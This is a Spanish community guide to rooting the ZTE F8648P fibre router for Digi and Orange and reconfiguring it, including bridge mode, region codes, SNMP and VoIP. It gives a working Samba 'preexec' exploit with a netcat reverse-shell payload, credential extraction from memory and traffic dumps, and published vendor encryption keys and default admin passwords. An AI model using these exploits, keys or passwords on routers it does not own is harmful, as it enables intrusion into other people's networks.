- 1 Obtener shell de root y config descifrada de forma "casi" automática
- 2 Obtener shell de root manualmente
- 3 Cambiar clave de admin
- 4 Volcado de memoria
- 5 Sacar usuario y clave PPPoE
- 6 Sacar password de ssh, telnet y samba
- 7 Abrir telnet
- 8 Ficheros config.bin
- 9 Fichero /tagparam/paramtag
- 10 Ficheros /etc/db_default_*.xml
- 11 Ficheros /etc/hardcode y /etc/hardcodefile/*
- 12 Modo Bridge
- 13 Region code (operador)
- 14 Deshabilitar TR069
- 15 SNMP y NPU
- 16 Utilizar otro proveedor de VoIP
- 17 Algunas cosas ocultas que trae el router
- 18 Recopilación de programas, scripts y ficheros de configuración
Recopilación de info sobre el router Zte ZXHN F8648P utilizado por Digi y Orange para las conexiones de fibra XGSPON de 10 Gb.
Todo la guia se ha hecho en base a la siguientes versiones de hw/sw del F8648P:
- Versión de hardware V2.0
- Versión de software V2.0.12P7N3
- Versión de boot V2.0.12P10N2
Usuarios han confirmado que sigue funcionando en las versiones:
- V. Software: V2.0.12P7N9 con V. Boot: V2.0.12P10N3
Si vas a reportar un problema asegúrate de comprobar que tienes estas mismas versiones.
Las versiones posteriores de firmware para este router tiene parcheado el samba y no permiten hacer hacer lo que se indica en esta guía, al menos por el momento.
Obtener shell de root y config descifrada de forma "casi" automática
Despues de darle algunas vueltas he conseguido hacer que no sea necesario usar un USB, simplificando mucho el proceso y eliminando posibles problemas.
Para ello he creado un programilla que podemos ejecutar desde Linux y siendo root (ya que necesita montar la partición SMB). Como prerequisito tiene que estar instalado el paquete cifs-utils (apt install cifs-utils
si se está usando debian o derivados).
Descargamos la utilidad Supertool de mi repo:
- Via git:
git clone https://github.com/alez-repos/ztef8648p.git
- O descargándo el zip de la web del repositorio: github.com/alez-repos/ztef8648p
Entramos a la carpeta supertool e instalamos las dependencias:
cd ztef8648p/supertool
python3 -m pip install -r requirements.txt
* Si nos diera un error diciendo que pip no está instalado podemos instalarlo con el comando apt install python3-pip
.
Y lo ejecutamos y seguimos las instrucciones, que se han reducido al máximo, de hecho solo pide la password de user y la IP del router en caso de que no lo encuentre automáticamente:
python3 zte-supertool.py --nousb
Igualmente si se prefiere seguir usando el USB es posible hacerlo. Tendremos que añadir a un USB formateado en NTFS como mínimo el binario nc y el enlace simbólico raiz (ln -s / raiz
). Cuando ejecutemos el programa hay que hacerlo sin la opción --nousb
.
El programa tiene dos modos de funcionamiento:
- 1. Obtener shell de root
Este modo nos pedirá contraseña de user y abrirá una shell de root en el router con la que podremos realizar cualquiera de los procedimientos de esta guia que requieran acceso de root como por ejemplo cambiar la password de admin o cambiar la región del router para activar el modo bridge.
- 2. Obtener config descifrada
Este modo requiere conocer la pass de admin del router. Averigua automáticamente la key de descifrado de la config, descarga la config y la descifra, dejando el archivo en texto plano en config.bin.txt
Para que esta opción funcione con la nueva versión de firmware hay que cambiar la región al router a la 173, ya que han eliminado la posibilidad de descargar la config con el usuario cuando está funcionando con la región 2009, que es la que viene por defecto con Digi.
Obtener shell de root manualmente
Prerrequisitos: Máquina virtual con Linux con el interfaz de red en modo bridge, USB formateado en NTFS, compatibilidad SMB1.0/CIFS activada en Windows. Probado en firmware V2.0.12P7N3.
- Montamos el USB en Linux y creamos un enlace simbólico dentro del mismo:
ln -s / raiz
- Descargamos BusyBox y lo metemos en en el USB:
wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l -O busybox
ln -s busybox nc
- Creamos un fichero llamado
payload.sh
en el USB con este contenido, siendo*IP*
la dirección IP de red local de nuestra máquina virtual Linux:
rm -f /tmp/f ; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | /mnt/usb1_1_1/nc *IP* 3339 > /tmp/f
- Creamos un fichero llamado
test.smb.conf
con este contenido:
[global]
guest account = root
deadtime = 5
log level = 0
max smbd processes = 3
server string = Samba Server
security = user
encrypt passwords = yes
smb passwd file = /var/samba/var/smbpasswd
load printers = no
workgroup = workgroup
netbios name = samba
short preserve case = yes
preserve case = yes
interfaces = 192.168.1.1/24
server signing = True
[pwn]
Preexec = /mnt/usb1_1_1/payload.sh
comment = samba share dir
read only = no
public = yes
writable = yes
max connections = 3
path = /
- Desmontamos el USB y lo pinchamos en el router
- Nos vamos a la web del router y activamos Samba poniendo como user
test
y passwordtest
- Desde Windows entramos a
\\192.168.1.1\samba
y nos autenticamos como usertest
y passwordtest
- Entramos dentro de la carpeta
usb1_1_1
, pinchamos en el ficherotest.smb.conf
y hacemos Ctrl+C para copiarlo - Escribimos en la barra del explorador
\\192.168.1.1\samba\usb1_1_1\raiz\var\samba\lib
, intro y pegamos con Ctrl+V el ficherotest.smb.conf
- Vamos ahora a Linux y ejecutamos
nc -l -p 3339
, se quedará a la espera de una conexión entrante - Volvemos a Windows y vamos a
\\192.168.1.1\
, se deberían ver 2 carpetas compartidas:samba
ypwn
- Entramos en
pwn
, Windows se quedará cargando sin entrar a la ruta. Si entrase es que hemos hecho algo mal al copiar el BusyBox o hemos puesto mal la IP local en elpayload.sh
- Si como es esperable se queda cargando, ya que está ejecutando internamente el preexec, vamos al Linux y deberíamos ver que en la ventana del comando
nc
se nos ha abierto una shell de root. En este punto hemos obtenido acceso como root en el router.
Cambiar clave de admin
Una vez tenemos shell de root podemos ejecutar:
sendcmd 1 DB p DevAuthInfo
sendcmd 1 DB set DevAuthInfo 0 Pass admin
sendcmd 1 DB save
Con esto ganamos acceso con el user admin y pass admin via web.
Volcado de memoria
No se puede volcar toda la memoria del sistema usando /dev/mem
, pero mediante gdb podemos volcar la memoria de un proceso concreto.
Usaremos gdb que podemos descargar de esta url:
wget https://github.com/marcinguy/arm-gdb-static/raw/master/gdbstatic -O gdb
Ejemplo para volcar a ficheros la memoria del proceso cspd, con pid 165:
grep rw-p /proc/165/maps | sed -n 's/^([0-9a-f]*)-([0-9a-f]*) .*$/1 2/p' > /mnt/usb1_1_1/direcciones.txt
Ahora en el PC guardamos el fichero y generamos una lista de comandos a ejecutar que podemos pegar en la consola para que se ejecuten de golpe:
cat direcciones.txt | while read start stop; do echo "/mnt/usb1_1_1/gdb -–batch -–pid 165 -ex \"dump memory 165-$start-$stop.dump 0x$start 0x$stop\""; done
Sacar usuario y clave PPPoE
Podemos extraer los datos PPPoE usando el tcpdump que incluye el propio router. Tras ejecutar el comando quitamos y ponemos el cable de fibra para que vuelva a negociar la sesión. Nos devolverá los datos en texto plano:
tcpdump -i any -A pppoes
Sacar password de ssh, telnet y samba
Se pueden obtener haciendo un volcado de la memoria del kernel (cat /proc/kmem > /mnt/usb1_1_1/memoria.bin
) y manteniéndolo en ejecución durante unos minutos.
Salen en plano, y realmente en concreto los del SSH que incluye este router no sirven para nada ya que está muy limitado y no tiene una shell real sino que tenemos que invocar los pocos comandos que permite con shell <comando>
La clave es el serial completo y en mayúsculas del router: admin:ZTEGCDD12345
Los comandos que se pueden ejecutar están definidos en unas listas que son legibles con la aplicación routerpassview, y están en /etc/authorize
Abrir telnet
El telnet se puede abrir mediante los siguientes comandos:
sendcmd 1 DB set TelnetCfg 0 TS_Enable 1
sendcmd 1 DB set TelnetCfg 0 Lan_EnableAfterOlt 0
sendcmd 1 DB set TelnetCfg 0 TS_UName <usuario>
sendcmd 1 DB set TelnetCfg 0 TS_UPwd <password>
sendcmd 1 DB save
Hecho esto hacemos un pkill zxtds para que se reinicie el servidor telnet con los parámetros actualizados
Ficheros config.bin
La clave se calcula en el ejecutable cspd, funcion PdtDBSetUserCfgAESCBCEncryKey()
Es parte del número de serie del XGSPON y la mac principal con los octetos al revés. La función Pdt… saca el numero de serie de leer el /tagparam/paramtag
, segundo campo.
Por ejemplo si tenemos un número de serie del XGSPON que sea ZTEGCDD123456
y una MAC que sea 50:5d:de:ad:be:ef
nuestra key será: CDD123456efbeadde5d50
.
El iv es genérico, y en este caso es similar al de otros routers, y es Zte%FN$GponNJ025
. La función lo saca leyendo del fichero cifrado /etc/hardcodefile/dataprotocol
, campo DefAESCBCIV
.
- El número de serie se puede consultar en la etiqueta del router o en la web, aunque en la web aparece en minúsculas.
- La MAC se puede consultar en la etiqueta del router o desde la shell de root haciendo un
ifconfig br0
.
Para descifrarlo, desde Linux, podemos descargar y ejecutar los siguientes programas:
git clone https://github.com/mkst/zte-config-utility.git
cd zte-config-utility
python3 setup.py install --user
wget https://pastebin.com/raw/CCqm1tfj -O configdec.py
python configdec.py --key-prefix CDD123456efbeadde5d50 --iv-prefix 'ZTE%FN$GponNJ025' config.bin config.bin.txt
Fichero /tagparam/paramtag
La key e iv para descifrar este fichero se calculan desde el fichero libtagparamuserapi.so
, función _tagparamDecry()
. Tanto la key como el iv salen de la misma cadena.
Se calcula obteniendo el valor %s%s%s
para el que cada uno de los parámetros es:
zx279132
- Resultado de la función
GetValueFromProcFile.constprop.0()
, que es el campo vid del/proc/capabilities/boardtype
→ 33 8cc72b05705d5c46f412af8cbed55aad
Por tanto la clave que buscamos es:
- plain-key = 'zx279132338cc72b05705d5c46f412af8cbed55aad'
- plain-iv = 'zx279132338cc72b05705d5c46f412af8cbed55aad'
Este valor ahora tenemos que recortarlo a 32 caracteres y calcularemos su sha256.
Del resultado del sha256 los primeros 32 caracteres son la key, y los primeros 16 caracteres son el iv.
Una vez que tenemos esto simplemente hay que descifrar cada una de las secciones del paramtag usando aes_cbc.
De este fichero podemos sacar información que realmente no nos será muy útil si ya tenemos el config.bin, ya que mayormente los tags que tiene son:
- ZTEG
- Parte del serial del XGSPon que se usa para la key del config.bin
- MACs de cada uno de los interfaces
- Serial GPON + primera mac, todo en mayúsculas (esto podría ser una clave para algo que falte por descubrir)
- 6 primeros carácteres de la mac principal
- Serial del router
- Nombre de la wifi 2.4
- Pass de la wifi 2.4
- Nombre de la wifi 5.0
- Pass de la wifi 5.0
- Pass de admin
- 4
- Versión del router tal como aparece en la web
- 0
- 0
Ficheros /etc/db_default_*.xml
Estos ficheros tienen configuraciones por operador. Están comprimidos con zlib deflate y cifrados con aes cbc y la key e iv son los genéricos del router, que se obtienen bien extrayendolos de /etc/hardcodefile/dataprotocol
o bien leyendo la memoria del cspd. La función que hace el set de las claves es CSPDBInitPdtInterface()
y obtiene de dataprotocol los tags DefAESCBCKey (f2801sv2)
y DefAESCBCIV (Zte%FN$GponNJ025)
.
- plain-key = 'f2801sv2'
- plain-iv = 'Zte%FN$GponNJ025'
Cosas interesantes de los ficheros:
- En
db_default_cfg.xml
hay unas claves genéricas que parece que se sobreescriben, aunque siempre es bueno mencionarlas por si acaso:- Pass del usuario id 0 (admin) : Web@0063
- Pass del usuario id 1 (user) : Web@0763
- En
db_default_SpainDigiHgu_cfg.xml
no hay nada realmente destacable, se define el IMS para la VoIP y la claveuser
para el usuario user. - En
db_default_MasMovil_cfg.xml
se definen las password que supongo son las que usan en Orange:- Pass del usuario id 0 (admin):
admin
- Pass del usuario id 1 (1234):
1234
- Pass del usuario id 0 (admin):
- En
db_default_ItalyTi_cfg.xml
se configuran mismas pass de admin que están en eldb_default_cfg.xml
- Pass del usuario id 0 (admin) :
Web@0063
- Pass del usuario id 1 (user) :
Web@0763
- Pass del usuario id 0 (admin) :
- En
db_default_Malaysia_cfg.xml
se configura su ACS y poco más - En
db_default_Viettel_cfg.xml
se configura su ACS, redes wifi y se deshabilita el user id 1 (user) - En
db_default_Manufacture_cfg.xml
se definen passwords:- Pass del usuario id 0 (admin):
admin
- Pass del usuario id 1 (user):
username
- Pass del usuario id 0 (admin):
Ficheros /etc/hardcode y /etc/hardcodefile/*
Estos ficheros contienen configuraciones por defecto. Están cifrados con CBC y la Key e Iv se calculan de la cadena de texto plano que hay en /etc/hardcode
.
Cadena de texto (contenido de /etc/hardcode
):
09a01cee5518b341f40d83f1cc5e7c2ac3631ee2fd87c3b85b6b586194cc5486f8648pv2.0_2Gflash
- plain-key = 'fhh884;e674i73g;f8648pv2.0_2Gflash'
- plain-iv = 'f8648pv2.0_2Gflash'
De las passwords hay que crear un sha256 y recortarlo a 32 caracteres.
La peculiaridad de estos ficheros es que el primer bloque de cifrado, los primeros 16 bytes, llevan una encriptación básica de sustitución con variación según la posición. Gracias a ello se pueden adivinar los valores sin meterse a sacar el algoritmo exacto.
- dataprotocol
83d299672bad91c26bedc31101beca4f
D e f A E S C B C K e y = f 2 8
01sv2\nDefAESCBCIV=Zte%FN$GponNJ025\nAESENCRYKey=\nuserkey=608158c36497b00221db14afb845c9e3
- wlan
90d28f6d0b87e3bd199797590dd2af12
W e p K e y 1 = 1 1 1 1 1 \n W e
pKey2=22222\nWepKey3=33333\nWepKey4=44444\nKeyPassphrase=!@#$%12345\nWapiKey=!@#$%12345\n
- tr069
8ad08b750b8ca4e55a8896466cb98b04
M g t S e r v e r . 0 . P a s s
word=hgw\nMgtServer.0.ConnectionRequestPassword=TR069_v2\nMgtServer.0.PKCS12PassWord=8cc72b05705d5c46f412af8cbed55aad\nConnReqPwd_Telmex=!@#$%12345
- webpri
90d29d6e3aaa82d363c3df5546ac9d46
W e b * * * * * * * * = z t e 1
2345!@#$%nWebPrivateKey=Web2019!#%&\nWebRepKey=nE%jA@5b\nDefAdNewPass=Web@0063\nDefUsNewPass=Web@0763\nDefSecNewPass=Web@0863\nDefAdNewPass100=admin\nDefAdOldPass100=Web@0063\nDefAdNewPass14=TURE@cmpAWes\nDefAdNewPass118=bi*wq51vW8el8cu@\n
Modo Bridge
La opción no está disponible inicialmente, pero hay más de una forma de conseguirlo.
Además de realizar alguno de los siguientes métodos hay que tener en consideración que se debe desactivar el servidor DHCP del router, así como asignar o no la VLAN (20) bien al Zte o bien al router neutro.
Asimismo en las opciones de Port Binding de la web del router asignaremos un puerto a la conexión bridge, que será donde conectaremos el router.
Si hemos activado el modo bridge perderemos el acceso al F8648P desde el router neutro, ya que la red en la que funciona el bridge quedará innacesible por el interfaz de red en el que está conectado el router neutro. Para acceder al F8648P conectaremos ya sea via wifi o conectando el cable de red de nuestro PC a otro de los puertos del F8648P que no esté asignado al bridge.
Método 1
Desde la consola ejecutamos los siguientes comandos:
cd /home/httpd/thinklua/template
mkdir /mnt/usb1_1_1/template
cp -r * /mnt/usb1_1_1/template
cd ..
mount /mnt/usb1_1_1/template /home/httpd/thinklua/template
cd template
cp config_173.lua config_2009.lua
ps | grep http
kill -9 pid <proceso httpd>
Automáticamente levantará de nuevo el httpd con la configuración que hemos introducido y ahora en WAN se pueden crear conexiones no solo con Routing sino con Bridge.
Habría que asignar en Port Binding un interfaz a esta nueva WAN.
El cambio en la web es temporal y se pierde al reiniciar o sacar el USB.
Método 2
Consultar la siguiente sección Region Code para habilitar las opciones que se presentan en el método 1 pero de forma permanente.
Método 3
Encontrado por el user @Geokaoz. Usar las herramientas de desarrollador de chrome/firefox y cambiar "Routing" por "Bridge" antes de hacer una modificación en la WAN internet.
Asignar el puerto que queramos de WAN en la opción Port Binding.
Region code (operador)
El router decide qué perfil de operador aplicar en base al contenido del fichero /userconfig/flag_type
. En el caso de Digi el código es 2009
. La lista de códigos está en /etc/init.d/regioncode
. El código de Zte de producción es 173
.
Si hacemos un:
echo "current : 173" > /userconfig/flag_type
* Al editar esta línea hay que tener especial atención con el espacio que hay entre current
y :
. Si no lo ponemos lo que ocurrira es que se invalidará el fichero y se configurará sin región, lo cual es algo que no está contemplado en la guia.
Y matamos los procesos zxtds (serv. telnet) y httpd (serv. web) o reiniciamos el router, a partir de este momento el telnet admitirá cualquier comando (la shell se arrancará con sh -lproduction
en vez de -luser
) y la web cambiará el logo de Digi por el de Zte y aparecerá la opción de bridge tal y como salía en el método 1 del Modo Bridge.
Este cambio es persistente a reboots y reversible. Para volver a la región original repetir los pasos pero en vez de poner la región 173 pondremos la 2009.
Mientras tengamos el router en la región 173 no recomiendo hacer reinicios de fábrica del dispositivo sino usar backups de configuración que tengamos guardados. Aún así, si se tiene que hacer forzosamente un reinicio de fábrica la password de admin que se va a poner tras el reinicio es admin
. Si se edito incorrectamente el fichero y no se respetó el espacio como indico anteriormente la password de admin será Web@0063
.
Si se reinicia de fábrica con otra región que no sea la 2009 no se descargará los datos del TR-069 y por tanto no conectará con internet.
Si se ha omitido lo comentado anteriormente y se ha reiniciado de fábrica con una región diferente a la 2009 hay dos posibilidades de recuperar la conexión:
- Acceder a la consola y cambiar el fichero flag_type dejandolo otra vez como 2009.
- Restaurar un backup de configuración que tenga los parámetros PPPoE y demás, necesarios para conectar a la red.
Deshabilitar TR069
Desde la consola podemos ejecutar:
sendcmd 1 DB delr MgtServer 0
sendcmd 1 DB save
Esto elimina todos los valores del TR069 pero no hace que se deje de crear el interfaz OMCI para la VoIP.
SNMP y NPU
Este router utiliza un NPU (Network Processing Unit) para acelerar conexiones. Esto genera un problema al utilizar programas de terceros que requieran recursos estándar de Linux. Por ejemplo tanto ifconfig como snmpd utilizan /proc/net/dev
para obtener la información que van a mostrar, y por desgracia por culpa del NPU esta no es precisa.
El NPU se puede deshabilitar a través de /proc/Zte/ffe/cmd
(echo npu 0 > cmd
), pero genera una penalización en el ancho de banda, que se limitaría a aproximadamente 1.6Gbps, por tanto no tiene sentido deshabilitarlo.
Todo esto lo descubrí tras compilar el mini-snmpd para arm64 y comprobar que los datos que obtenía eran erróneos y la sensación que daba es que solo me mostraba un spike inicial de las conexiones. Visto esto también me di cuenta de que por ejemplo al hacer un speedtest-cli, el ifconfig solo reportaba un incremento de unos 200MB cuando la realidad es que lo mismo se habían transmitido ~2GB.
Entonces vi que a través de la web del router en la página de LAN status sí que daba datos correctos, y me puse a investigar para averiguar cómo era posible.
Después de una investigación que ha implicado hacer reversing a los binarios cspd, httpd, sendcmd y sus bibliotecas, he llegado a la conclusión de que se pueden obtener datos reales de bytes y paquetes transferidos a través de /dev/switch_mgr
, pero no es trivial obtenerlos ya que hay que usar ioctl() y además ghidra no muestra exactamente cómo se recogen los datos, es decir, sé cómo pedir los datos pero no como recogerlos.
Sin embargo hay una manera alternativa, ya que es posible obtener datos de estadísticas de tráfico a través de la consola con el comando:
sendcmd 1 switch_mgr getPortStats <interfaz>
Este comando hace internamente lo que he comentado anteriormente de usar ioctl() con /dev/switch_mgr
, y después envía a stdout los datos obtenidos.
Sabiendo esto, y a falta de averiguar cómo utilizar /dev/switch_dev
de forma nativa, lo que he hecho ha sido parchear el servidor snmpd que estoy usando, mini-snmpd, para que cree un fichero fake del /proc/dev/net
pero con los datos agregados de llamar al comando anterior y obtenga los datos del él.
* Nota: El primer mini-snmpd que subí al repositorio no liberaba algunos punteros e iba consumiendo muy lentamente la memoria del router hasta que se reiniciaba. Está arreglado en una nueva versión que he subido.
./mini-snmpd -i eth0,eth1,eth2,eth3,eth4,wlan0,wlan4
Si alguien se anima a montar esto le recomiendo que lo haga con grafana/influxdb/telegraf, hay tutoriales en internet que explican como hacerlo muy facilmente. El resultado final es como se ve en la imagen.
Utilizar otro proveedor de VoIP
Descubierto por el usuario @miquel1. Probado con una cuenta de Netelip.
Apuntamos los datos de la conexión WAN PPPoE. Eliminamos dicha conexión y creamos una nueva conexión con los mismos datos pero indicando que la conexión es para Internet y VoIP.
En el apartado de VoIP hay que indicar en Interfaz de Red, que use la nueva WAN creada, en vez la que lleva por defecto , ya que sólo sirve para el SIP de Digi.
Introducimos nuestros datos de conexión y en VoIP/Basic, utilizando las herramientas de desarrollador del navegador vamos a buscar un div llamado "div_Enable:0", que tendrá la propiedad "display:none" y la vamos a eliminar. De esta manera veremos temporalmente una nueva opción, Enable, que tendremos que poner en On.
Algunas cosas ocultas que trae el router
Hay algunas opciones que el router tiene pero que por algún motivo no han decidido incluir en la configuración y solo están disponibles para algunas regiones. Hasta ahora las que he visto son:
- Opciones EasyMesh: Existen dentro de la web pero realmente no funcionan bien y activarlas no tiene ningún efecto en la configuración. Son tres opciones. 1) on/off 2) RSSI threshold 2.4g 3) RSSI threshold 5.0g.
Se supone que este router tiene certificación para funcionar como controlador de una red EasyMesh. Estaría bien que alguien que tenga esto montado nos diga si efectivamente funciona.
- Opciones EEE: Activa/Desactiva el EEE que es una especificación del 802.11 para el ahorro de energía. En teoría tenerlo activo significa que apagará electrónicamente los puertos que no se estén usando.
- Opciones QoS: Toda una serie de opciones para QoS. No se que sentido tiene usarlo en una red 10Gbps, pero bueno, ahí están.
- Opciones Conntrack: Pequeña página donde pone el límite máximo de conexiones abiertas que puede tener el router y el valor actual del número de conexiones abiertas.
- Opciones de monitorización CPU/Mem: Muy básico, indica el porcentaje de uso de cada una de las cuatro CPU's del router y el porcentaje del uso de memoria del mismo.
Recopilación de programas, scripts y ficheros de configuración
Aquí está todo lo necesario para replicar lo que se menciona en este post: Repositorio de utilidades